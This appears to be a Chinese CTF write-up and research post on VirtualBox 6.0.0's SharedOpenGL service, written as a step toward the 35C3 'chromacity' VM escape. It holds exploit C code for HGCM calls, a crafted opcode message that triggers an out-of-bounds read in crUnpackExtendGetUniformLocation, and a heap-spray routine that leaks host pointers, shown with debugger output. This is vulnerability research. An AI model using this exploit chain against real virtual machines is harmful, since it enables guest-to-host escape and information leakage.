c语言中strucopy,VirtualBox虚拟机逃逸之SharedOpenGL模块

239241

0x00 前言

最近研究VirtualBox虚拟机逃逸,前面分析了VirtualBox的HGCM通信协议,本文我们基于HGCM协议与SharedOpenGL模块进行通信,并分析SharedOpenGL中使用的chromium协议,复现SharedOpenGL中出现的历史漏洞从而进行虚拟机逃逸。

0x01 前置知识

chromium协议

引言

我们使用HGCM通信协议,可以在Guest中与主机的一些服务进行通信,其中有一个服务名为SharedOpenGL,这是一个用于3D加速的服务,首先主机中的VirtualBox需要开启3D加速才能在Guest中进行调用

239241

在src\VBox\GuestHost\OpenGL目录下,是位于Guest中的组件源码,该组件在Guest中通过HGCM协议与Host中的SharedOpenGL进行连接,然后使用了他们之间的一套新的协议(称之为“chromium协议”)来进行数据交换,对于src\VBox\GuestHost\OpenGL,我们不用去分析其实现,因为它就是一个相当于客户端一样的东西,我们重点分析Host中的SharedOpenGL。

首先看到src\VBox\HostServices\SharedOpenGL\crserver\crservice.cpp源文件中的svcCall函数,前面介绍过,这是HGCM对SharedOpenGL模块的函数调用入口。

svcCall

static DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient,

uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)

{

..................................................

switch (u32Function)

{

case SHCRGL_GUEST_FN_WRITE:

{

..................................

/* Fetch parameters. */

uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;

uint32_t cbBuffer = paParms[0].u.pointer.size;

/* Execute the function. */

rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);

...................................

break;

}

case SHCRGL_GUEST_FN_INJECT:

{

.......................................

/* Fetch parameters. */

uint32_t u32InjectClientID = paParms[0].u.uint32;

uint8_t *pBuffer = (uint8_t *)paParms[1].u.pointer.addr;

uint32_t cbBuffer = paParms[1].u.pointer.size;

/* Execute the function. */

rc = crVBoxServerClientWrite(u32InjectClientID, pBuffer, cbBuffer);

.................................

break;

}

case SHCRGL_GUEST_FN_READ:

{

...........................................

/* Fetch parameters. */

uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;

uint32_t cbBuffer = paParms[0].u.pointer.size;

/* Execute the function. */

rc = crVBoxServerClientRead(u32ClientID, pBuffer, &cbBuffer);

.....................................................

break;

}

case SHCRGL_GUEST_FN_WRITE_READ:

{

..................................................

/* Fetch parameters. */

uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;

uint32_t cbBuffer = paParms[0].u.pointer.size;

uint8_t *pWriteback = (uint8_t *)paParms[1].u.pointer.addr;

uint32_t cbWriteback = paParms[1].u.pointer.size;

/* Execute the function. */

rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);

if (!RT_SUCCESS(rc))

{

Assert(VERR_NOT_SUPPORTED==rc);

svcClientVersionUnsupported(0, 0);

}

rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);

...........................................

break;

}

case SHCRGL_GUEST_FN_SET_VERSION:

{

.........................................

/* Fetch parameters. */

uint32_t vMajor = paParms[0].u.uint32;

uint32_t vMinor = paParms[1].u.uint32;

/* Execute the function. */

rc = crVBoxServerClientSetVersion(u32ClientID, vMajor, vMinor);

................................

break;

}

case SHCRGL_GUEST_FN_SET_PID:

{

................................

/* Fetch parameters. */

uint64_t pid = paParms[0].u.uint64;

/* Execute the function. */

rc = crVBoxServerClientSetPID(u32ClientID, pid);

.........................

break;

}

case SHCRGL_GUEST_FN_WRITE_BUFFER:

{

..................................

/* Fetch parameters. */

uint32_t iBuffer = paParms[0].u.uint32;

uint32_t cbBufferSize = paParms[1].u.uint32;

uint32_t ui32Offset = paParms[2].u.uint32;

uint8_t *pBuffer = (uint8_t *)paParms[3].u.pointer.addr;

uint32_t cbBuffer = paParms[3].u.pointer.size;

/* Execute the function. */

CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);

if (!pSvcBuffer || ((uint64_t)ui32Offset+cbBuffer)>cbBufferSize)

{

rc = VERR_INVALID_PARAMETER;

}

else

{

memcpy((void*)((uintptr_t)pSvcBuffer->pData+ui32Offset), pBuffer, cbBuffer);

/* Return the buffer id */

paParms[0].u.uint32 = pSvcBuffer->uiId;

......................

break;

}

case SHCRGL_GUEST_FN_WRITE_READ_BUFFERED:

{

.................................

/* Fetch parameters. */

uint32_t iBuffer = paParms[0].u.uint32;

uint8_t *pWriteback = (uint8_t *)paParms[1].u.pointer.addr;

uint32_t cbWriteback = paParms[1].u.pointer.size;

CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);

if (!pSvcBuffer)

{

LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));

rc = VERR_INVALID_PARAMETER;

break;

}

uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData;

uint32_t cbBuffer = pSvcBuffer->uiSize;

/* Execute the function. */

rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);

if (!RT_SUCCESS(rc))

{

Assert(VERR_NOT_SUPPORTED==rc);

svcClientVersionUnsupported(0, 0);

}

rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);

if (RT_SUCCESS(rc))

{

/* Update parameters.*/

paParms[1].u.pointer.size = cbWriteback;

}

/* Return the required buffer size always */

paParms[2].u.uint32 = cbWriteback;

svcFreeBuffer(pSvcBuffer);

}

break;

}

从上面的源码我们可以知道

That sequence can be performed by the Chromium client in

different ways:

Single-step: send the rendering commands and receive the

resulting frame buffer with one single message.

Two-step: send a message with the rendering commands

and let the server interpret them, then send another

message requesting the resulting frame buffer.

Buffered: send the rendering commands and let the server

store them in a buffer without interpreting it, then send a

second message to make the server interpret the buffered

commands and return the resulting frame buffer.

Guest中的客户端会通过HGCM发送一连串的命令到SharedOpenGL服务中被解析并返回图形渲染的结果给Guest。其中我们注意到SHCRGL_GUEST_FN_WRITE_BUFFER分支

SHCRGL_GUEST_FN_WRITE_BUFFER

/* Execute the function. */

CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);

进入svcGetBuffer函数

static CRVBOXSVCBUFFER_t* svcGetBuffer(uint32_t iBuffer, uint32_t cbBufferSize)

{

CRVBOXSVCBUFFER_t* pBuffer;

if (iBuffer)

{

...........................

}

else /*allocate new buffer*/

{

pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t));

if (pBuffer)

{

pBuffer->pData = RTMemAlloc(cbBufferSize);

.........................

其中我们注意到当参数iBuffer为0时,会申请两个堆RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t))和RTMemAlloc(cbBufferSize),由于参数是可以自由控制的,因此通过该功能,我们可以自由的申请堆块,在Heap Spray中,这个非常有用。通过分析,SHCRGL_GUEST_FN_WRITE_BUFFER命令的功能就是从Guset中接收一串数据,并存入Buffer中,如果Buffer不存在则创建一个新的

我们将这个过程封装为函数用于使用

int alloc_buf(int client,int size,const char *msg,int msg_len) {

int rc = hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,"%u%u%u%b",0,size,0,"in",msg,msg_len);

if (rc) {

die("[-] alloc_buf error");

}

return ans_buf[0];

}

SHCRGL_GUEST_FN_WRITE_READ_BUFFERED

接下来我们看到SHCRGL_GUEST_FN_WRITE_READ_BUFFERED命令,首先是该命令需要3个参数

/* Verify parameter count and types. */

if (cParms != SHCRGL_CPARMS_WRITE_READ_BUFFERED)

{

rc = VERR_INVALID_PARAMETER;

}

else

if ( paParms[0].type != VBOX_HGCM_SVC_PARM_32BIT /* iBufferID */

|| paParms[1].type != VBOX_HGCM_SVC_PARM_PTR /* pWriteback */

|| paParms[2].type != VBOX_HGCM_SVC_PARM_32BIT /* cbWriteback */

|| !paParms[0].u.uint32 /*iBufferID can't be 0 here*/

)

{

rc = VERR_INVALID_PARAMETER;

}

第一个为iBufferID,也就是通过SHCRGL_GUEST_FN_WRITE_BUFFER命令创建的buffer对应的ID;第二个参数为pWriteback,是一个指针,用于在Guest中接收处理后的数据;第三个参数为cbWriteback表示数据长度。

我们将调用封装为函数用于使用

char crmsg_buf[0x1000];

int crmsg(int client,const char *msg,int msg_len) {

int buf_id = alloc_buf(client,0x1000,msg,msg_len);

int rc = hgcm_call(client,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED,"%u%b%u",buf_id,"out",crmsg_buf,0x1000,0x1000);

if (rc) {

die("[-] crmsg error");

}

}

为了便于分析,我们写了一个测试程序

int main() {

int idClient = hgcm_connect("VBoxSharedCrOpenGL");

printf("idClient=%d\n",idClient);

set_version(idClient);

crmsg(idClient,"hello",0x6);

}

这里我们简单的发送hello到host中,看看会发生什么。

继续向下看

CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);

if (!pSvcBuffer)

{

LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));

rc = VERR_INVALID_PARAMETER;

break;

}

uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData;

uint32_t cbBuffer = pSvcBuffer->uiSize;

/* Execute the function. */

rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);

通过iBuffer索引获取到了pBuffer以后,传入crVBoxServerClientWrite函数进行处理,我们进入该函数。

int32_t crVBoxServerClientWrite(uint32_t u32ClientID, uint8_t *pBuffer, uint32_t cbBuffer)

{

CRClient *pClient=NULL;

int32_t rc = crVBoxServerClientGet(u32ClientID, &pClient);

该函数首先调用crVBoxServerClientGet获取服务句柄

int32_t crVBoxServerClientGet(uint32_t u32ClientID, CRClient **ppClient)

{

CRClient *pClient = NULL;

pClient = crVBoxServerClientById(u32ClientID);

if (!pClient)

{

WARN(("client not found!"));

*ppClient = NULL;

return VERR_INVALID_PARAMETER;

}

if (!pClient->conn->vMajor)

{

WARN(("no major version specified for client!"));

*ppClient = NULL;

return VERR_NOT_SUPPORTED;

}

在crVBoxServerClientGet函数中,会判断pClient->conn->vMajor,如果没有设置则报错。该字段是在svcCall中的SHCRGL_GUEST_FN_SET_VERSION命令中被设置的

case SHCRGL_GUEST_FN_SET_VERSION:

{

...........

/* Fetch parameters. */

uint32_t vMajor = paParms[0].u.uint32;

uint32_t vMinor = paParms[1].u.uint32;

/* Execute the function. */

rc = crVBoxServerClientSetVersion(u32ClientID, vMajor, vMinor);

因此,在我们使用SHCRGL_GUEST_FN_WRITE_BUFFER之前,应该先使用SHCRGL_GUEST_FN_SET_VERSION设置一下版本

int set_version(int client) {

int rc = hgcm_call(client,SHCRGL_GUEST_FN_SET_VERSION,"%u%u",CR_PROTOCOL_VERSION_MAJOR,CR_PROTOCOL_VERSION_MINOR);

if (rc) {

die("[-] set_version error");

}

return 0;

}

当int32_t rc = crVBoxServerClientGet(u32ClientID, &pClient);执行完获取到服务句柄以后,就继续调用crVBoxServerInternalClientWriteRead函数

pClient->conn->pBuffer = pBuffer;

pClient->conn->cbBuffer = cbBuffer;

#ifdef VBOX_WITH_CRHGSMI

CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);

#endif

crVBoxServerInternalClientWriteRead(pClient);

return VINF_SUCCESS;

}

crVBoxServerInternalClientWriteRead函数如下

static void crVBoxServerInternalClientWriteRead(CRClient *pClient)

{

............................

crNetRecv();

CRASSERT(pClient->conn->pBuffer==NULL && pClient->conn->cbBuffer==0);

CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);

crServerServiceClients();

crStateResetCurrentPointers(&cr_server.current);

..............

先是调用了crNetRecv函数,经过调试,调用链如下

pwndbg> k

#0 0x00007f1b3db9ff05 in _crVBoxHGCMReceiveMessage (conn=0x7f1b1cf408c0) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1091

#1 0x00007f1b3dba13cc in _crVBoxHGCMPerformReceiveMessage (conn=0x7f1b1cf408c0) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:2425

#2 0x00007f1b3dba141c in crVBoxHGCMRecv () at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:2482

#3 0x00007f1b3db80238 in crNetRecv () at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/net.c:1307

#4 0x00007f1b3ddea7b4 in crVBoxServerInternalClientWriteRead (pClient=0x7f1b1d04da10) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:754

#5 0x00007f1b3ddeacb1 in crVBoxServerClientWrite (u32ClientID=35, pBuffer=0x7f1b1d04e3f0 "hello", cbBuffer=4096) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:792

#6 0x00007f1b3ddce7c7 in svcCall (callHandle=0x7f1b34c93f50, u32ClientID=35, pvClient=0x7f1b3000a7e0, u32Function=14, cParms=3, paParms=0x7f1b5452d560, tsArrival=29122886987445) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:740

#7 0x00007f1b6e30325a in hgcmServiceThread (pThread=0x7f1b30003c70, pvUser=0x7f1b30003b10) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:708

#8 0x00007f1b6e300090 in hgcmWorkerThreadFunc (hThreadSelf=0x7f1b30004050, pvUser=0x7f1b30003c70) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200

#9 0x00007f1b8ae47aff in rtThreadMain (pThread=0x7f1b30004050, NativeThread=139754983003904, pszThreadName=0x7f1b30004930 "ShCrOpenGL") at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719

#10 0x00007f1b8af8e098 in rtThreadNativeMain (pvArgs=0x7f1b30004050) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/posix/thread-posix.cpp:327

#11 0x00007f1b859da6ba in start_thread (arg=0x7f1b3e1e1700) at pthread_create.c:333

#12 0x00007f1b87fd84dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

可以知道该函数位于src/VBox/GuestHost/OpenGL/util/net.c源文件,虽然这里位于Guset中的客户端源码,但其实是同样编译了一份给Host用

pwndbg> p crNetRecv

$2 = {int (void)} 0x7f1b3db80208

pwndbg> vmmap 0x7f1b3db80208

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

0x7f1b3db6d000 0x7f1b3dbb3000 r-xp 46000 0 /home/sea/Desktop/VirtualBox-6.0.0/out/linux.amd64/debug/bin/VBoxOGLhostcrutil.so +0x13208

pwndbg>

可以知道其在VBoxOGLhostcrutil.so库中,从调用链可以知道最终调用到_crVBoxHGCMReceiveMessage这里会出现问题

static void _crVBoxHGCMReceiveMessage(CRConnection *conn)

{

uint32_t len;

CRVBOXHGCMBUFFER *hgcm_buffer;

CRMessage *msg;

CRMessageType cached_type;

len = conn->cbBuffer;

CRASSERT(len > 0);

CRASSERT(conn->pBuffer);

#ifndef IN_GUEST

/* Expect only CR_MESSAGE_OPCODES from the guest. */

AssertPtrReturnVoid(conn->pBuffer);

if ( conn->cbBuffer >= sizeof(CRMessageHeader)

&& ((CRMessageHeader*) (conn->pBuffer))->type == CR_MESSAGE_OPCODES)

{

/* Looks good. */

}

else

{

AssertFailed();

/** @todo Find out if this is the expected cleanup. */

conn->cbBuffer = 0;

conn->pBuffer = NULL;

return;

}

#endif

这里会将我们传入的数据转换为CRMessageHeader结构体,然后判断type是否为CR_MESSAGE_OPCODES,如果不是,则报错

typedef struct {

CRMessageType type;

unsigned int conn_id;

} CRMessageHeader;

由此可见,我们的数据必须符合要求,当检查通过以后

#ifndef IN_GUEST

if (conn->allow_redir_ptr)

{

#endif

CRASSERT(conn->buffer_size >= sizeof(CRMessageRedirPtr));

hgcm_buffer = (CRVBOXHGCMBUFFER *) _crVBoxHGCMAlloc( conn ) - 1;

hgcm_buffer->len = sizeof(CRMessageRedirPtr);

msg = (CRMessage *) (hgcm_buffer + 1);

msg->header.type = CR_MESSAGE_REDIR_PTR;

msg->redirptr.pMessage = (CRMessageHeader*) (conn->pBuffer);

msg->header.conn_id = msg->redirptr.pMessage->conn_id;

#if defined(VBOX_WITH_CRHGSMI) && !defined(IN_GUEST)

msg->redirptr.CmdData = conn->CmdData;

CRVBOXHGSMI_CMDDATA_ASSERT_CONSISTENT(&msg->redirptr.CmdData);

CRVBOXHGSMI_CMDDATA_CLEANUP(&conn->CmdData);

#endif

cached_type = msg->redirptr.pMessage->type;

conn->cbBuffer = 0;

conn->pBuffer = NULL;

#ifndef IN_GUEST

如果conn->allow_redir_ptr被设置,会创建一个新的Msg,并设置type为CR_MESSAGE_REDIR_PTR,最后使用crNetDispatchMessage( g_crvboxhgcm.recv_list, conn, msg, len );将消息挂到消息队列上,由此可见这是一种异步多线程的处理方式。最初调用crNetRecv就是为了将请求放到队列中慢慢处理。

回到crVBoxServerInternalClientWriteRead函数

crNetRecv();

CRASSERT(pClient->conn->pBuffer==NULL && pClient->conn->cbBuffer==0);

CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);

crServerServiceClients();

crStateResetCurrentPointers(&cr_server.current);

接下来该调用crServerServiceClients函数

void

crServerServiceClients(void)

{

RunQueue *q;

q = getNextClient(GL_FALSE); /* don't block */

while (q)

{

ClientStatus stat = crServerServiceClient(q);

if (stat == CLIENT_NEXT && cr_server.run_queue->next) {

/* advance to next client */

cr_server.run_queue = cr_server.run_queue->next;

}

q = getNextClient(GL_FALSE);

}

}

以上可以看出,他是依次取出请求对象,然后使用函数crServerServiceClient进行处理

/**

* Process incoming/pending message for the given client (queue entry).

* \return CLIENT_GONE if this client has gone away/exited,

* CLIENT_NEXT if we can advance to the next client

* CLIENT_MORE if we have to process more messages for this client.

*/

static ClientStatus

crServerServiceClient(const RunQueue *qEntry)

{

CRMessage *msg;

CRConnection *conn;

/* set current client pointer */

cr_server.curClient = qEntry->client;

conn = cr_server.run_queue->client->conn;

/* service current client as long as we can */

while (conn && conn->type != CR_NO_CONNECTION &&

crNetNumMessages(conn) > 0) {

unsigned int len;

/*

crDebug("%d messages on %p",

crNetNumMessages(conn), (void *) conn);

*/

/* Don't use GetMessage, because we want to do our own crNetRecv() calls

* here ourself.

* Note that crNetPeekMessage() DOES remove the message from the queue

* if there is one.

*/

len = crNetPeekMessage( conn, &msg );

..........................

/* Commands get dispatched here */

crServerDispatchMessage( conn, msg, len );

该函数调用crServerDispatchMessage函数进行opcode的处理

/**

* This function takes the given message (which should be a buffer of

* rendering commands) and executes it.

*/

static void

crServerDispatchMessage(CRConnection *conn, CRMessage *msg, int cbMsg)

{

const CRMessageOpcodes *msg_opcodes;

int opcodeBytes;

const char *data_ptr, *data_ptr_end;

...............

if (msg->header.type == CR_MESSAGE_REDIR_PTR)

{

#ifdef VBOX_WITH_CRHGSMI

pCmdData = &msg->redirptr.CmdData;

#endif

msg = (CRMessage *) msg->redirptr.pMessage;

}

CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);

msg_opcodes = (const CRMessageOpcodes *) msg;

opcodeBytes = (msg_opcodes->numOpcodes + 3) & ~0x03;

#ifdef VBOXCR_LOGFPS

CRASSERT(cr_server.curClient && cr_server.curClient->conn && cr_server.curClient->conn->id == msg->header.conn_id);

cr_server.curClient->conn->opcodes_count += msg_opcodes->numOpcodes;

#endif

data_ptr = (const char *) msg_opcodes + sizeof(CRMessageOpcodes) + opcodeBytes;

data_ptr_end = (const char *)msg_opcodes + cbMsg; // Pointer to the first byte after message data

enmType = crUnpackGetBufferType(data_ptr - 1, /* first command's opcode */

msg_opcodes->numOpcodes /* how many opcodes */);

switch (enmType)

{

case CR_UNPACK_BUFFER_TYPE_GENERIC:

.................

}

if (fUnpack)

{

crUnpack(data_ptr, /* first command's operands */

data_ptr_end, /* first byte after command's operands*/

data_ptr - 1, /* first command's opcode */

msg_opcodes->numOpcodes, /* how many opcodes */

&(cr_server.dispatch)); /* the CR dispatch table */

}

..................

}

而crServerDispatchMessage函数首先检查是否为msg->header.type == CR_MESSAGE_REDIR_PTR类型的消息,由于前面将原始消息挂在队列时,由于conn->allow_redir_ptr为true,所以消息确实是被转化为CR_MESSAGE_REDIR_PTR类型的。检查通过后,后面就调用了crUnpack函数来处理Opcode,其中crUnpack函数是通过脚本src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py生成的,可以在编译后的目录out/linux.amd64/debug/obj/VBoxOGLgen/unpack.c里找到

void crUnpack( const void *data, const void *data_end, const void *opcodes,

unsigned int num_opcodes, SPUDispatchTable *table )

{

unsigned int i;

const unsigned char *unpack_opcodes;

if (table != cr_lastDispatch)

{

crSPUCopyDispatchTable( &cr_unpackDispatch, table );

cr_lastDispatch = table;

}

unpack_opcodes = (const unsigned char *)opcodes;

cr_unpackData = (const unsigned char *)data;

cr_unpackDataEnd = (const unsigned char *)data_end;

#if defined(CR_UNPACK_DEBUG_OPCODES) || defined(CR_UNPACK_DEBUG_LAST_OPCODES)

crDebug("crUnpack: %d opcodes", num_opcodes);

#endif

for (i = 0; i < num_opcodes; i++)

{

CRDBGPTR_CHECKZ(writeback_ptr);

CRDBGPTR_CHECKZ(return_ptr);

/*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/

#ifdef CR_UNPACK_DEBUG_PREV_OPCODES

g_VBoxDbgCrPrevOpcode = *unpack_opcodes;

#endif

switch( *unpack_opcodes )

{

case CR_ALPHAFUNC_OPCODE:

................

case CR_ARRAYELEMENT_OPCODE:

..............

可以看到这是Opcode处理机,根据不同的Opcode,对应不同的操作。在cr_opcodes.h头文件中有这些Opcode的定义。

综上分析,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED命令可以将buffer中的opcode进行处理,最后调用crVBoxServerClientRead将结果写回Guest,然后调用svcFreeBuffer对Buffer进行释放。

rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);

if (RT_SUCCESS(rc))

{

/* Update parameters.*/

paParms[1].u.pointer.size = cbWriteback;

}

/* Return the required buffer size always */

paParms[2].u.uint32 = cbWriteback;

svcFreeBuffer(pSvcBuffer);

我们可以写出如下的代码

int main() {

int idClient = hgcm_connect("VBoxSharedCrOpenGL");

printf("idClient=%d\n",idClient);

set_version(idClient);

getchar();

uint32_t msg[] = {CR_MESSAGE_OPCODES, //type

0x66666666, //conn_id

1, //numOpcodes

0x12345678,

0x61616161

};

crmsg(idClient,msg,sizeof(msg));

}

0x02 35C3CTF Virtualbox NDay

chromacity 477

Solves: 2

Please escape VirtualBox. 3D acceleration is enabled for your convenience.

No need to analyze the 6.0 patches, they should not contain security fixes.

Once you're done, submit your exploit at https://vms.35c3ctf.ccc.ac/, but assume that all passwords are different on the remote setup.

Challenge files. Password for the encrypted VM image is the flag for "sanity check".

Setup

UPDATE: You might need to enable nested virtualization.

Hint: https://github.com/niklasb/3dpwn/ might be useful

Hint 2: this photo was taken earlier today at C3

Difficulty estimate: hard

题目的VirtualBox为6.0.0版本,通过参考资料已经知道了第一个漏洞点出在crUnpackExtendGetUniformLocation函数

crUnpackExtendGetUniformLocation

分析

void crUnpackExtendGetUniformLocation(void)

{

int packet_length = READ_DATA(0, int);

GLuint program = READ_DATA(8, GLuint);

const char *name = DATA_POINTER(12, const char);

SET_RETURN_PTR(packet_length-16);

SET_WRITEBACK_PTR(packet_length-8);

cr_unpackDispatch.GetUniformLocation(program, name);

}

该函数没有检查packet_length,而该字段是我们从Guest中通过HGCM和Chromium协议传入的数据中的,因此完全可控。

为了触发调用该函数,我们使用如下代码

int main() {

int idClient = hgcm_connect("VBoxSharedCrOpenGL");

printf("idClient=%d\n",idClient);

set_version(idClient);

getchar();

int offset = 0x200;

uint32_t msg[] = {CR_MESSAGE_OPCODES, //type

0x66666666, //conn_id

1, //numOpcodes

CR_EXTEND_OPCODE << 24,

offset, //packet_length

CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode

0, //program

*(uint32_t *)"leak" //name

};

crmsg(idClient,msg,sizeof(msg));

for (int i=0;i<100;i++) {

printf("%02x ",crmsg_buf[i]);

}

}

通过调试可以知道

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c

346 void crUnpackExtendGetUniformLocation(void)

347 {

348 int packet_length = READ_DATA(0, int);

349 GLuint program = READ_DATA(8, GLuint);

350 const char *name = DATA_POINTER(12, const char);

► 351 SET_RETURN_PTR(packet_length-16);

352 SET_WRITEBACK_PTR(packet_length-8);

353 cr_unpackDispatch.GetUniformLocation(program, name);

354 }

355

pwndbg> x /20bx cr_unpackData+0x200-16

0x7f1adc9a03d0: 0x08 0x19 0x00 0x00 0x01 0x14 0x00 0x00

0x7f1adc9a03d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7f1adc9a03e0: 0xfa 0x6c 0x28 0xf2

SET_RETURN_PTR操作将cr_unpackData+packet_length-16处的数据拷贝到了Guest中的crmsg_buf中,于是我们可以利用起来进行越界内存地址泄露

239241

为了泄露地址,我们首先使用heap spray布置堆风水。

首先,我们得了解一下当我们与SharedOpenGL服务建立连接时,会创建哪些结构体,当与服务连接时,svcConnect会被HGCM协议调用进行连接初始化

static DECLCALLBACK(int) svcConnect (void *, uint32_t u32ClientID, void *pvClient, uint32_t fRequestor, bool fRestoring)

{

RT_NOREF(pvClient, fRequestor, fRestoring);

if (g_u32fCrHgcmDisabled)

{

WARN(("connect not expected"));

return VERR_INVALID_STATE;

}

Log(("SHARED_CROPENGL svcConnect: u32ClientID = %d\n", u32ClientID));

int rc = crVBoxServerAddClient(u32ClientID);

return rc;

}

crVBoxServerAddClient函数如下

int32_t crVBoxServerAddClient(uint32_t u32ClientID)

{

CRClient *newClient;

.....

newClient = (CRClient *) crCalloc(sizeof(CRClient));

.....

newClient->conn = crNetAcceptClient(cr_server.protocol, NULL,

cr_server.tcpip_port,

cr_server.mtu, 0);

.................

}

crNetAcceptClient函数如下

CRConnection *

crNetAcceptClient( const char *protocol, const char *hostname,

unsigned short port, unsigned int mtu, int broker )

{

CRConnection *conn;

...................

conn = (CRConnection *) crCalloc( sizeof( *conn ) );

}

可以看到这里申请了结构体CRClient和结构体CRConnection的内存。其中CRClient大小为0x9d0,CRConnection大小为0x298

利用

我们首先申请N个这么些大小的堆,用于消耗内存碎片

//heap spray

for (int i=0;i<600;i++) {

alloc_buf(client,0x298,"CRConnection_size_fill",23);

}

for (int i=0;i<600;i++) {

alloc_buf(client,0x9d0,"CRClient_size_fill",23);

}

然后接下来建立一个新的VBoxSharedCrOpenGL服务,由于前面内存碎片耗尽,此时的VBoxSharedCrOpenGL服务申请的CRClient和CRConnection很可能相邻

//CRClient和CRConnection结构体将被创建

int new_client = hgcm_connect("VBoxSharedCrOpenGL");

for (int i=0;i<600;i++) {

alloc_buf(client,0x298,"CRConnection_size_fill",23);

}

for (int i=0;i<600;i++) {

alloc_buf(client,0x9d0,"CRClient_size_fill",23);

}

接下来,我们将new_client释放,然后使用同样大小的crmsg的buf占位,并且控制OPCODE使得程序进入crUnpackExtendGetUniformLocation函数

//释放CRClient和CRConnection结构体

hgcm_disconnect(new_client);

uint32_t msg[] = {CR_MESSAGE_OPCODES, //type

0x66666666, //conn_id

1, //numOpcodes

CR_EXTEND_OPCODE << 24,

OFFSET_PCLIENT, //packet_length

CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode

0, //program

*(uint32_t *)"leak" //name

};

//将crmsg的unpack_buffer申请占位到之前的CRConnection结构体位置,从而进行数据泄露

crmsg(client,0x298,msg,sizeof(msg));

那么此时的cr_unpackData与原来new_client的空间重合,由于crmsg使用的buf是通过svcGetBuffer生成的,而之前分析过svcGetBuffer是通过RTMemAlloc(cbBufferSize);来申请堆的,RTMemAlloc函数不会清除原空间的内容,调试如下

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c

343 cr_unpackDispatch.GetAttribLocation(program, name);

344 }

345

346 void crUnpackExtendGetUniformLocation(void)

347 {

► 348 int packet_length = READ_DATA(0, int);

349 GLuint program = READ_DATA(8, GLuint);

350 const char *name = DATA_POINTER(12, const char);

351 SET_RETURN_PTR(packet_length-16);

352 SET_WRITEBACK_PTR(packet_length-8);

353 cr_unpackDispatch.GetUniformLocation(program, name);

pwndbg> tel cr_unpackData 100

00:0000│ rdi 0x7fb89214f080 ◂— 0xa400000248

01:0008│ 0x7fb89214f088 ◂— 0x6b61656c00000000

02:0010│ 0x7fb89214f090 ◂— 0x0

... ↓ 2 skipped

05:0028│ 0x7fb89214f0a8 ◂— 0xffffffff

06:0030│ 0x7fb89214f0b0 ◂— 0x0

... ↓ 9 skipped

10:0080│ 0x7fb89214f100 ◂— 0x3e8000003e800

11:0088│ 0x7fb89214f108 ◂— 0x0

12:0090│ 0x7fb89214f110 ◂— 0x0

13:0098│ 0x7fb89214f118 ◂— 0x100000000

14:00a0│ 0x7fb89214f120 ◂— 0x0

... ↓ 2 skipped

17:00b8│ 0x7fb89214f138 ◂— 0x1b58

18:00c0│ 0x7fb89214f140 —▸ 0x7fb8a5cfc00c (crVBoxHGCMAlloc) ◂— push rbp

19:00c8│ 0x7fb89214f148 —▸ 0x7fb8a5cfcd4e (crVBoxHGCMFree) ◂— push rbp

